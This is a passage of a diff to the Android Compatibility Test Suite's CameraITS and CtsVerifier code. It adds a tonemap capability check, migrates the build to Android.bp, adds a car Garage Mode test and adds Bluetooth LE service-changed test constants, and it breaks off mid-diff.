Merge "Skip direct boot test for non-fbe device"
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ddb3c95..9c228d3 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -410,6 +410,19 @@
             "android.edge.availableEdgeModes") and mode \
             in props["android.edge.availableEdgeModes"];
 
+def tonemap_mode(props, mode):
+    """Returns whether a device supports the tonemap mode.
+
+    Args:
+        props: Camera properties object.
+        mode: Integer, indicating the tonemap mode to check for availability.
+
+    Return:
+        Boolean.
+    """
+    return props.has_key(
+            "android.tonemap.availableToneMapModes") and mode \
+            in props["android.tonemap.availableToneMapModes"];
 
 def lens_calibrated(props):
     """Returns whether lens position is calibrated or not.
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index c71ef24..23c8734 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -106,6 +106,7 @@
         if not self.xnorm:
             with its.device.ItsSession(camera_id) as cam:
                 props = cam.get_camera_properties()
+                props = cam.override_with_hidden_physical_camera_props(props)
                 if its.caps.read_3a(props):
                     self.locate(cam, props)
                 else:
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
                 self._hidden_physical_id, self._camera_id)
             assert self._hidden_physical_id in physical_ids, e_msg
             props = self.get_camera_properties_by_id(self._hidden_physical_id)
+            self.props = props
         return props
 
     def get_camera_properties(self):
diff --git a/apps/CameraITS/pymodules/its/target.py b/apps/CameraITS/pymodules/its/target.py
index 01d3c5f..8cf802c 100644
--- a/apps/CameraITS/pymodules/its/target.py
+++ b/apps/CameraITS/pymodules/its/target.py
@@ -191,9 +191,11 @@
         with its.device.ItsSession() as cam:
             exposure = get_target_exposure(cam)
             props = cam.get_camera_properties()
+            props = cam.override_with_hidden_physical_camera_props(props)
     else:
         exposure = get_target_exposure(its_session)
         props = its_session.get_camera_properties()
+        props = its_session.override_with_hidden_physical_camera_props(props)
 
     sens_range = props['android.sensor.info.sensitivityRange']
     exp_time_range = props['android.sensor.info.exposureTimeRange']
diff --git a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
index 45a5b13..261eed1 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
+                             its.caps.per_frame_control(props) and
+                             its.caps.tonemap_mode(props, 0))
 
         debug = its.caps.debug_mode()
         largest_yuv = its.objects.get_largest_yuv_format(props)
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
 import numpy as np
 
 JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
-                     [255, 235]]
+                     [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
 JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
 JPEG_DQT_MARKER = [255, 219]  # JPEG Define Quantization Table
 JPEG_DQT_TOL = 0.8  # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 67f3806..7ca6e24 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -279,8 +279,8 @@
         dist_y = abs(child_shape['cty']-prt_shape['cty'])
         # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
         # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
-        # 3. Child's width > 0.1*Image width
-        # 4. Child's height > 0.1*Image height
+        # 3. Child's width > 0.075*Image width
+        # 4. Child's height > 0.075*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
         # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
@@ -288,8 +288,8 @@
                     < prt_shape['width'] * 0.76
                     and prt_shape['height'] * 0.56 < child_shape['height']
                     < prt_shape['height'] * 0.76
-                    and child_shape['width'] > 0.1 * size[1]
-                    and child_shape['height'] > 0.1 * size[0]
+                    and child_shape['width'] > 0.075 * size[1]
+                    and child_shape['height'] > 0.075 * size[0]
                     and 0.30 * prt_area < child_area < 0.50 * prt_area
                     and img_bw[child_shape['cty']][child_shape['ctx']] == 0
                     and img_bw[child_shape['top']][child_shape['left']] == 255
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
                 "\nThe scene setup should be: " + scene_desc )
         # Converge 3A prior to capture.
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
                   lock_awb=its.caps.awb_lock(props))
         req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 01c579e..69ef63f 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -2,3 +2,66 @@
     name: "CtsVerifierMockVrListenerServiceFiles",
     srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
 }
+
+android_test {
+    name: "CtsVerifier",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    compile_multilib: "both",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+
+    aidl: {
+        include_dirs: ["frameworks/native/aidl/gui"],
+    },
+
+    static_libs: [
+        "android-ex-camera2",
+        "compatibility-common-util-devicesidelib",
+        "cts-sensors-tests",
+        "cts-camera-performance-tests",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+        "androidplot",
+        "ctsverifier-opencv",
+        "core-tests-support",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "mockwebserver",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "cts-security-test-support-library",
+        "cts-midi-lib",
+        "cbor-java",
+        "CtsCameraUtils",
+        "androidx.legacy_legacy-support-v4",
+        "CtsForceStopHelper-constants",
+    ],
+
+    libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
+
+    platform_apis: true,
+
+    jni_libs: [
+        "libctsverifier_jni",
+        "libctsnativemidi_jni",
+        "libaudioloopback_jni",
+    ],
+
+    optimize: {
+        proguard_flags_files: ["proguard.flags"],
+    },
+
+    dex_preopt: {
+        enabled: false,
+    },
+}
+
+// opencv library
+java_import {
+    name: "ctsverifier-opencv",
+    jars: ["libs/opencv3-android.jar"],
+}
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 8e10b97..007be8c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -15,66 +15,6 @@
 #
 
 LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-Iaidl-files-under, src) \
-                    ../ForceStopHelperApp/src/com/android/cts/forcestophelper/Constants.java
-
-LOCAL_AIDL_INCLUDES := \
-    frameworks/native/aidl/gui
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
-                               compatibility-common-util-devicesidelib \
-                               cts-sensors-tests \
-                               cts-camera-performance-tests \
-                               ctstestrunner-axt \
-                               apache-commons-math \
-                               androidplot \
-                               ctsverifier-opencv \
-                               core-tests-support \
-                               androidx.legacy_legacy-support-v4  \
-                               mockito-target-minus-junit4 \
-                               mockwebserver \
-                               compatibility-device-util-axt \
-                               platform-test-annotations \
-                               cts-security-test-support-library \
-                               cts-midi-lib \
-                               cbor-java \
-                               CtsCameraUtils
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_JAVA_LIBRARIES += telephony-common
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
-LOCAL_JAVA_LIBRARIES += android.car
-LOCAL_JAVA_LIBRARIES += voip-common
-LOCAL_JAVA_LIBRARIES += truth-prebuilt
-
-LOCAL_PACKAGE_NAME := CtsVerifier
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-	libctsverifier_jni \
-	libctsnativemidi_jni \
-	libaudioloopback_jni \
-
-LOCAL_PROGUARD_FLAG_FILES := proguard.flags
-
-LOCAL_DEX_PREOPT := false
--include cts/error_prone_rules_tests.mk
-include $(BUILD_PACKAGE)
-
 # Build CTS verifier framework as a libary.
 
 include $(CLEAR_VARS)
@@ -101,14 +41,6 @@
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
-# opencv library
-include $(CLEAR_VARS)
-
-LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := \
-        ctsverifier-opencv:libs/opencv3-android.jar
-
-include $(BUILD_MULTI_PREBUILT)
-
 pre-installed-apps := \
     CtsEmptyDeviceAdmin \
     CtsEmptyDeviceOwner \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 19a27bbe8..4b901cc 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2854,21 +2854,6 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".notifications.MediaPlayerVerifierActivity"
-                  android:label="@string/qs_media_player_title">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category"
-                       android:value="@string/test_category_notifications" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
-            <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
         <service android:name=".notifications.MockListener"
           android:exported="true"
           android:label="@string/nls_service_name"
@@ -4270,8 +4255,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="test_required_configs"
+                       android:value="config_hdmi_source" />
         </activity>
         <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
                   android:label="@string/tv_hdr_capabilities_test"
@@ -4286,19 +4271,6 @@
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
-        <activity android:name=".tv.display.DisplayModesTestActivity"
-                  android:label="@string/tv_display_modes_test"
-                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
-            <meta-data android:name="test_required_features"
-                       android:value="android.software.leanback"/>
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
 
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
             android:label="@string/screen_pinning_test">
@@ -4689,6 +4661,20 @@
             </intent-filter>
         </activity-alias>
 
+        <service android:name=
+            "com.android.cts.verifier.car.GarageModeChecker"
+            android:permission="android.permission.BIND_JOB_SERVICE" />
+        <activity android:name=".car.GarageModeTestActivity"
+                android:label="@string/car_garage_mode_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
         <activity-alias android:name=".car.CarDockActivity2"
             android:targetActivity=".car.CarDockActivity"
                 android:exported="true"
diff --git a/apps/CtsVerifier/res/layout/garage_test_main.xml b/apps/CtsVerifier/res/layout/garage_test_main.xml
new file mode 100644
index 0000000..5073523
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/garage_test_main.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout app:ctsv_layout_box="all"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:orientation="vertical" >
+        <include layout="@layout/pass_fail_buttons"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:paddingVertical="12dp"
+            android:paddingHorizontal="24dp"
+            android:id="@+id/car_garage_mode_results"/>
+        <Button
+            android:id="@+id/car_wifi_settings"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings"/>
+        <Button
+            android:id="@+id/launch_garage_monitor"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_enable_garage_monitor"/>
+    </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/layout/nls_item.xml b/apps/CtsVerifier/res/layout/nls_item.xml
index f1a10bf..e80d333 100644
--- a/apps/CtsVerifier/res/layout/nls_item.xml
+++ b/apps/CtsVerifier/res/layout/nls_item.xml
@@ -14,41 +14,51 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content" >
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
 
-    <ImageView
-        android:id="@+id/nls_status"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_alignParentLeft="true"
-        android:layout_alignParentTop="true"
-        android:layout_marginTop="10dip"
-        android:contentDescription="@string/pass_button_text"
-        android:padding="10dip"
-        android:src="@drawable/fs_indeterminate" />
-
-    <TextView
-        android:id="@+id/nls_instructions"
-        style="@style/InstructionsSmallFont"
+    <LinearLayout
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_alignParentTop="true"
-        android:layout_toRightOf="@id/nls_status"
-        android:text="@string/nls_enable_service" />
+        android:orientation="horizontal">
+        <ImageView
+            android:id="@+id/nls_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:layout_marginTop="10dip"
+            android:contentDescription="@string/pass_button_text"
+            android:padding="10dip"
+            android:src="@drawable/fs_indeterminate" />
+
+        <TextView
+            android:id="@+id/nls_instructions"
+            style="@style/InstructionsSmallFont"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_vertical"
+            android:layout_toRightOf="@id/nls_status"
+            android:text="@string/nls_enable_service" />
+    </LinearLayout>
 
     <Button
         android:id="@+id/nls_action_button"
-        android:layout_width="match_parent"
+        android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_below="@id/nls_instructions"
         android:layout_marginLeft="20dip"
         android:layout_marginRight="20dip"
-        android:layout_toRightOf="@id/nls_status"
         android:onClick="actionPressed"
+        android:layout_gravity="center_horizontal"
         android:text="@string/nls_start_settings" />
 
-</RelativeLayout>
\ No newline at end of file
+    <LinearLayout
+        android:id="@+id/feedback"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/integers.xml b/apps/CtsVerifier/res/values/integers.xml
index 508c52c..2ced54b 100644
--- a/apps/CtsVerifier/res/values/integers.xml
+++ b/apps/CtsVerifier/res/values/integers.xml
@@ -14,5 +14,5 @@
      limitations under the License.
 -->
 <resources>
-    <integer name="test_list_footer_button_count">2</integer>
+    <integer name="test_list_footer_button_count">3</integer>
 </resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
old mode 100755
new mode 100644
index 29dffc1..18558a5
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -128,6 +128,18 @@
     <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
         user by obscuring the device admin details while prompting the user to activate the admin.
     </string>
+    <string name="car_enable_garage_monitor">Enable Garage Mode Monitor</string>
+    <string name="car_garage_mode_test">Garage Mode Test</string>
+    <string name="car_garage_mode_test_desc">
+        This test verifies that Garage Mode runs at the end of a drive.\n\n
+        Optional: Disable Wi-Fi to minimize other activity during the test.\n\n
+        Touch "Enable Garage Mode Monitor" to launch the Garage Mode verifier.\n\n
+        Turn the vehicle off and exit the vehicle (or take the proprietary action that
+        initiates shut-down of the system).\n\n
+        Do not enter or disturb the vehicle for at least 15 minutes.\n\n
+        Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
+        If Garage Mode ran as required, the pass button will be enabled.</string>
+    <string name="car_wifi_settings">Go to Wi-Fi settings</string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -587,6 +599,7 @@
     <string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
     <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
     <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+    <string name="ble_on_service_changed">Bluetooth LE On Service Changed</string>
     <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
     <string name="ble_insecure_client_test_info">
         The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
@@ -635,6 +648,7 @@
     <string name="ble_server_read_descriptor">Waiting on read descriptor request</string>
     <string name="ble_server_reliable_write">Waiting on reliable write from client</string>
     <string name="ble_server_reliable_write_bad_resp">Waiting on reliable write from client (send bad response)</string>
+    <string name="ble_server_service_changed_indication">Waiting on service changed indication</string>
     <string name="ble_server_receiving_disconnect">Waiting on disconnection from Bluetooth LE client</string>
     <string name="ble_connection_priority_server_name">02 Bluetooth LE Connection Priority Server Test</string>
     <string name="ble_connection_priority_server_info">Bluetooth LE Connection Priority Server receive message from message in 3 different priority.</string>
@@ -1201,7 +1215,7 @@
       If your device supports type B (for example, because of a type B only UICC), select "Type B" from the drop-down box above. Note that all tests must be completed in the same mode (either "Type A" or "Type B").</string>
     <string name="nfc_offhost_please_wait">Please wait</string>
     <string name="nfc_offhost_setting_up">Setting up card emulation services...</string>
-    <string name="nfc_offhost_uicc_transaction_event_emulator_help">Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
+    <string name="nfc_offhost_uicc_transaction_event_emulator_help"> This is an optional test for Android version beofre S. This is okay to set this test to passed and continue. Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
 
     <!-- Strings for Sensor Test Activities -->
     <string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
@@ -2185,41 +2199,15 @@
         and disabled, and that once enabled the service is able to receive notifications and
         dismiss them.
     </string>
+    <string name="nls_anr">This test checks that notifications are not sent with content that is
+        too long. If this test causes the test app to ANR, the test has failed.
+    </string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
     <string name="conversation_section_ordering">If this device supports conversation notifications,
         and groups them into a separate section from alerting and silent non-conversation
         notifications, fully expand the notification display and verify that the \"Person A\"
         notification appears before the "\Non-Person Notification\".
         If this device does not support conversation notifications or does not group them together, press Pass.</string>
-    <string name="qs_media_player_title">QS Media Controls Test</string>
-    <string name="qs_media_player_test">Media Controls Test</string>
-    <string name="qs_media_player_info">This test checks that media controls appear in the
-        Quick Settings shade for applications that post a media style notification.</string>
-    <string name="qs_media_player_song_and_artist">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains the strings "Song" and "Artist".
-    </string>
-    <string name="qs_media_player_album_art">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that the media player contains a solid yellow image.
-    </string>
-    <string name="qs_media_player_progress_bar">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains a progress bar showing 6 seconds have elapsed of a
-        one minute long track.
-    </string>
-    <string name="qs_media_player_actions">Fully expand Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that icons appear for rewind, previous track, pause, next track and fast forward.
-    </string>
-    <string name="qs_media_player_compact_actions">Open Notification Shade and look at the media player
-        controls for the CTS Verifier app.
-        Check that icons appear for only previous track, pause and next track.
-    </string>
-    <string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app. Click on the button showing that the media is playing
-        on the phone speaker. Check that the Output Switcher opens.
-    </string>
     <string name="tile_service_name">Tile Service for CTS Verifier</string>
     <string name="tiles_test">Tile Service Test</string>
     <string name="tiles_info">This test checks that a Tile Service added by a third party
@@ -4661,25 +4649,13 @@
     soundbars which are connected. </string>
     <string name="tv_audio_capabilities_receiver_connected">Connect a receiver or
     soundbar which can play Dolby Atmos. </string>
+    <string name="tv_audio_capabilities_atmos_supported">Does your Android TV device support Dolby Atmos? </string>
 
     <!-- HDR Capabilities test -->
     <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
-    <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
-    <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
-    <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
     <string name="tv_hdr_capabilities_test_info">This test checks if
         Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
     </string>
-    <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
-        press the "%s" button, below.
-    </string>
-    <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
-        the "%s" button, below.
-    </string>
-    <string name="tv_hdr_disconnect_display">Press the "%1$s" button
-        and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
-        reconnect the display.
-    </string>
     <string name="tv_panel_hdr_types_reported_are_supported">
         The supported HDR types are: %s\nAre all of them supported by the hardware?
     </string>
@@ -4687,31 +4663,6 @@
         Are there other HDR types which are supported by the hardware, but are not listed above?
     </string>
 
-    <!-- Display Modes Test -->
-    <string name="tv_display_modes_test">Display Modes Test</string>
-    <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
-        and Display.getMode() are correctly reporting the supported screen modes.
-    </string>
-    <string name="tv_display_modes_disconnect_display">
-        Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
-        seconds and then reconnect the display.
-    </string>
-    <string name="tv_display_modes_test_step_no_display">No Display</string>
-    <string name="tv_display_modes_test_step_1080p">1080p Display</string>
-    <string name="tv_display_modes_test_step_2160p">2160p Display</string>
-    <string name="tv_display_modes_start_test_button">Start Test</string>
-    <string name="tv_display_modes_connect_2160p_display">
-        Connect a 2160p display and press the "%s" button, below.
-    </string>
-    <string name="tv_display_modes_connect_1080p_display">
-        Connect a 1080p display and press the "%s" button, below.
-    </string>
-    <string name="tv_panel_display_modes_reported_are_supported">
-        The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
-    </string>
-    <string name="tv_panel_display_modes_supported_are_reported">
-        Are there other modes which are supported by the hardware, but are not listed above?
-    </string>
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
+import android.content.res.Resources;
 import android.hardware.biometrics.BiometricManager;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
     }
 
     static boolean deviceConfigContains(Context context, int authenticator) {
-        final String config[] = context.getResources()
-                .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+        final Resources res = context.getResources();
+        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+        final String config[] = res.getStringArray(resId);
         for (String s : config) {
             Log.d(TAG, s);
             final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 1fd6a2b..b87156d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -116,6 +116,8 @@
             "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
     public static final String BLE_READ_REMOTE_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+    public static final String BLE_ON_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NOPERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_NOPERMISSION =
@@ -172,6 +174,8 @@
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_READ_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+    public static final String BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED";
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
@@ -269,6 +273,9 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -278,6 +285,7 @@
     public static final String WRITE_VALUE = "CLIENT_TEST";
     private static final String NOTIFY_VALUE = "NOTIFY_TEST";
     public static final String WRITE_VALUE_BAD_RESP = "BAD_RESP_TEST";
+    public static final String SERVICE_CHANGED_VALUE = "CLIENT_SVC_CHG";
 
     // current test category
     private String mCurrentAction;
@@ -301,6 +309,15 @@
     // Lock for synchronization during notification request test.
     private final Object mRequestNotificationLock = new Object();
 
+    // Lock for triggering service changed event on server side.
+    private final Object mServiceChangedLock = new Object();
+    private static final int SERVICE_CHANGED_FLAG_INIT = 0x00;
+    private static final int SERVICE_CHANGED_FLAG_TRIGGER_ACTION = 0x01;
+    private static final int SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED = 0x02;
+    private static final int SERVICE_CHANGED_FLAG_ALL = 0x03;
+    private static final int SERVOCE_CHANGED_FLAG_IGNORE = 0xFF;
+    private int mServiceChangedFlag;
+
     private enum ReliableWriteState {
         RELIABLE_WRITE_NONE,
         RELIABLE_WRITE_WRITE_1ST_DATA,
@@ -463,6 +480,10 @@
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
